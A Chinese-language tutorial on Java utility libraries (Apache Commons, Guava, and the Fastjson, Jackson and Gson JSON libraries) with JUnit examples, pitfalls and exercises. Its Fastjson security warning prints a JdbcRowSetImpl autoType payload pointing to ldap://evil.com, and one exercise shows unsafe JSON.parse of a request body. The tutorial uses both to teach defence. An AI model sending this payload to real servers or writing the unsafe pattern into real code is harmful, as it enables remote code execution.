为什么需要工具库
重复造轮子是最大的浪费。判断字符串是不是空、集合是不是空、对象转JSON这些操作天天用,自己写容易出bug,直接用成熟的工具库省心又省力
主要介绍四大金刚:Apache Commons、Google Guava、JSON处理库
Apache Commons Lang3
最常用的Java工具库之一,弥补JDK自带工具的不足。Maven坐标:org.apache.commons:commons-lang3
StringUtils:字符串工具,告别 NullPointerException
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @Test public void testStringUtils() {
System.out.println(StringUtils.isBlank(null)); System.out.println(StringUtils.isBlank("")); System.out.println(StringUtils.isBlank(" ")); System.out.println(StringUtils.isBlank("hello"));
System.out.println(StringUtils.isNotBlank("hello"));
String[] arr = {"Java", "Python", "Go"}; System.out.println(StringUtils.join(arr, ", "));
System.out.println(StringUtils.abbreviate("这是一段很长的文字内容", 10));
String name = null; System.out.println(StringUtils.defaultIfBlank(name, "匿名用户")); }
|
| 方法 |
说明 |
示例 |
isBlank |
null/空串/纯空格都算空 |
isBlank(" ") → true |
isNotBlank |
isBlank的反面 |
isNotBlank("hi") → true |
isEmpty |
只判断null和空串 |
isEmpty(" ") → false |
join |
用分隔符拼接数组 |
join(arr, ",") |
abbreviate |
截断+省略号 |
abbreviate(s, 10) |
defaultIfBlank |
空时给默认值 |
|
trim |
去除两端空白(null安全) |
trim(null) → null |
ObjectUtils / BooleanUtils
1 2 3 4 5 6 7 8 9 10 11 12
| @Test public void testOtherUtils() {
Integer count = null; System.out.println(ObjectUtils.defaultIfNull(count, 0));
System.out.println(BooleanUtils.toBoolean("yes")); System.out.println(BooleanUtils.toBoolean("on")); System.out.println(BooleanUtils.toBoolean("1")); System.out.println(BooleanUtils.toBoolean("no")); }
|
Apache Commons Collections
集合工具类,Maven坐标:org.apache.commons:commons-collections4
1 2 3 4 5 6 7 8 9 10 11 12 13
| @Test public void testCollectionUtils() {
List<String> list = null;
System.out.println(CollectionUtils.isEmpty(list)); System.out.println(CollectionUtils.isEmpty(new ArrayList<>())); System.out.println(CollectionUtils.isNotEmpty(Arrays.asList(1, 2))); }
|
Google Guava
Google出品的Java核心库增强。Maven坐标:com.google.guava:guava
集合工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Test public void testGuavaCollections() {
List<String> list = Lists.newArrayList("Java", "Go", "Rust"); Map<String, Integer> map = Maps.newHashMap();
ImmutableList<String> immutableList = ImmutableList.of("a", "b", "c");
ImmutableMap<String, Integer> immutableMap = ImmutableMap.of( "Java", 1, "Go", 2, "Rust", 3 ); }
|
字符串处理:Joiner 和 Splitter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Test public void testGuavaString() {
String result = Joiner.on(", ") .skipNulls() .join("Java", null, "Go", "Rust"); System.out.println(result);
List<String> parts = Splitter.on(",") .trimResults() .omitEmptyStrings() .splitToList("Java , , Go , Rust "); System.out.println(parts); }
|
Preconditions:参数校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @Test public void testPreconditions() {
int age = -1; try { Preconditions.checkArgument(age > 0, "年龄必须大于0,实际值: %s", age); } catch (IllegalArgumentException e) { System.out.println(e.getMessage()); }
Object obj = null; try { Preconditions.checkNotNull(obj, "对象不能为null"); } catch (NullPointerException e) { System.out.println(e.getMessage()); } }
|
LoadingCache:本地缓存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @Test public void testGuavaCache() throws Exception {
LoadingCache<String, String> cache = CacheBuilder.newBuilder() .maximumSize(100) .expireAfterWrite(5, TimeUnit.SECONDS) .build(new CacheLoader<String, String>() { @Override public String load(String key) { System.out.println("缓存未命中,从数据库加载: " + key); return "value_of_" + key; } });
System.out.println(cache.get("user_1")); System.out.println(cache.get("user_1")); }
|
JSON处理
Java对象和JSON字符串互相转换是日常开发中最常见的操作之一。三大主流库对比
Fastjson(阿里出品)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Test public void testFastjson() {
Map<String, Object> user = new HashMap<>(); user.put("name", "张三"); user.put("age", 25); String json = JSON.toJSONString(user); System.out.println(json);
String jsonStr = "{\"name\":\"李四\",\"age\":30}"; JSONObject obj = JSON.parseObject(jsonStr); System.out.println(obj.getString("name")); }
|
⭐ 严重安全警告:Fastjson反序列化漏洞
Fastjson的 autoType 功能允许JSON中指定Java类型,攻击者可以构造恶意JSON让服务器执行任意代码
1 2
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/exploit","autoCommit":true}
|
漏洞频繁出现,几乎每个版本都在修,所以很多公司已经禁止使用Fastjson
防御:升级到最新版、关闭 autoType、或者直接换成 Jackson
Jackson(Spring Boot默认)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @Test public void testJackson() throws Exception { ObjectMapper mapper = new ObjectMapper();
Map<String, Object> user = new HashMap<>(); user.put("name", "张三"); user.put("age", 25); String json = mapper.writeValueAsString(user); System.out.println(json);
String jsonStr = "{\"name\":\"李四\",\"age\":30}"; Map<String, Object> result = mapper.readValue(jsonStr, Map.class); System.out.println(result.get("name"));
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); }
|
Gson(Google出品)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @Test public void testGson() { Gson gson = new Gson();
Map<String, Object> user = new HashMap<>(); user.put("name", "张三"); user.put("age", 25); String json = gson.toJson(user); System.out.println(json);
String jsonStr = "{\"name\":\"李四\",\"age\":30}"; Map result = gson.fromJson(jsonStr, Map.class); System.out.println(result.get("name")); }
|
三者对比
| 对比项 |
Fastjson |
Jackson |
Gson |
| 出品方 |
Alibaba |
FasterXML |
Google |
| 性能 |
快 |
快 |
一般 |
| 功能 |
丰富 |
最丰富 |
够用 |
| Spring Boot |
需额外引入 |
默认集成 |
需额外引入 |
| ⭐ 安全性 |
差(频繁漏洞) |
好 |
好 |
| API易用性 |
最简洁 |
中等 |
简洁 |
| 推荐度 |
⚠️ 谨慎使用 |
⭐⭐⭐ 首选 |
⭐⭐ 备选 |
常见坑
坑1:StringUtils.isEmpty 和 StringUtils.isBlank 搞混——isEmpty 不把纯空格算空,isBlank 才算
坑2:Guava的 ImmutableList.of() 创建的集合不能修改,往里 add 会抛异常
坑3:Fastjson和Jackson对日期格式的默认处理不一样,经常出现日期格式不对的问题
坑4:Jackson反序列化时遇到未知字段默认报错,要配置 FAIL_ON_UNKNOWN_PROPERTIES = false
坑5:Gson把整数默认解析成 double,{"age": 25} 会变成 age=25.0
练习题
题1:用StringUtils和CollectionUtils重写以下代码,消除所有null检查
1 2
| if (name != null && !name.trim().isEmpty()) { ... } if (list != null && !list.isEmpty()) { ... }
|
题2:分别用Jackson和Gson实现:将一个Java对象转成JSON字符串,再转回来。对比API差异
题3(⭐ 安全题):解释为什么以下Fastjson代码是危险的,攻击者可以做什么?
1 2 3
| String userJson = request.getBody(); Object obj = JSON.parse(userJson);
|